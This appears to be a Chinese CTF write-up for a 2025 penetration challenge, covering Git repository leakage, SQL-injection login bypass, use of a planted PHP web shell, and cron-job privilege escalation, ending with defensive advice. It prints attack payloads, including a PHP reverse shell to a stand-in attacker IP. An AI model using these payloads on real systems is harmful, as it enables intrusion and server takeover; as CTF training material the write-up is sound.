长城杯2025-渗透Web-Git
字数 1621 2025-08-29 08:29:59
Git泄露与Web渗透实战教学文档
1. Git泄露漏洞利用
1.1 漏洞发现
- 使用目录扫描工具(如dirsearch、gobuster)扫描Web目录
- 常见泄露路径:
/.git/、/.git/config、/.git/HEAD等 - 检测方法:返回200状态码或特定Git文件内容
1.2 利用工具
推荐使用Git_Extract工具(https://github.com/gakki429/Git_Extract):
python Git_Extract.py http://target.com/.git/
1.3 恢复Git仓库
工具会自动:
- 下载.git目录中的所有对象
- 重建Git仓库结构
- 恢复源代码和历史提交记录
1.4 获取flag1
- 检查恢复的源代码中可能包含的敏感信息
- 查看历史提交记录:
git log - 检查所有文件内容:
git show或直接查看文件
2. 后台漏洞利用
2.1 万能密码登录
- 尝试常见SQL注入payload登录后台:
admin' or '1'='1'-- admin' or 1=1# - 即使功能有限,也要检查所有可见元素
2.2 文件路径发现
- 检查静态资源路径(如图片、CSS、JS)
- 本例中通过头像路径发现同目录下的PHP文件
- 尝试常见后门文件名:
shell.php、cmd.php、backdoor.php等
2.3 Web后门利用
发现后门参数为a,但只支持GET请求:
?a=system("whoami");
转换为POST请求方式:
?a=eval($_POST[a]);
然后可使用蚁剑等工具连接:
- 连接URL:
http://target.com/path/to/shell.php - 密码:
a
2.4 获取flag4
- 在后门提供的文件系统中搜索flag文件
- 检查常见flag位置:
/var/www/html/、/tmp/、/home/等
3. 数据库提权与横向移动
3.1 数据库凭据获取
- 在Web应用配置文件中查找(config.php等)
- 本例中在数据库中发现了ryan用户的密码
3.2 数据库连接方式
- 通过代理连接本地数据库:
proxychains mysql -u ryan -p -h localhost - 通过蚁剑的数据库连接功能
3.3 UDF提权尝试
- 尝试通过MySQL UDF函数提权
- 常见问题:插件目录不可写或权限不足
3.4 用户切换
使用获取的密码切换到ryan用户:
su ryan
注意:需要具有TTY的shell,推荐使用Venom等工具获取完整功能shell
3.5 读取邮件获取flag3
Linux系统邮件通常存储在:
/var/mail/<username>
cat /var/mail/ryan
4. 定时任务提权
4.1 进程监控
上传并运行pspy64监控进程:
./pspy64
发现root每3分钟执行del.py
4.2 利用方法
- 修改del.py内容为反弹shell命令:
import os os.system("php /tmp/a.php") - 创建a.php反弹shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'"); ?> - 替代方法:
- 修改/etc/passwd添加root权限用户
- 写入SSH公钥
- 上线C2框架
4.3 获取flag5
- 根据提示,flag5在root目录下的aim.jpg中
- 提权后直接读取:
cat /root/aim.jpg
5. 关键工具与命令总结
| 工具/命令 | 用途 |
|---|---|
| Git_Extract | 恢复泄露的Git仓库 |
| pspy64 | 监控进程执行情况 |
| Venom | 获取TTY shell |
| proxychains | 通过代理连接服务 |
| mysql -u -p -h | 连接MySQL数据库 |
| su | 切换用户 |
6. 防御建议
-
Git泄露防护:
- 生产环境删除.git目录
- 配置Web服务器禁止访问.git目录
- 使用.gitignore文件排除敏感文件
-
后台安全:
- 使用预编译语句防止SQL注入
- 实施强密码策略
- 限制后台访问IP
-
文件系统安全:
- 定期检查Web目录下异常文件
- 设置严格的文件权限
- 禁用危险函数(如eval、system等)
-
系统安全:
- 定期检查crontab任务
- 监控/var/mail目录
- 限制sudo权限和su命令使用
-
数据库安全:
- 使用最小权限原则
- 禁用FILE和EXECUTE权限
- 定期审计数据库用户和权限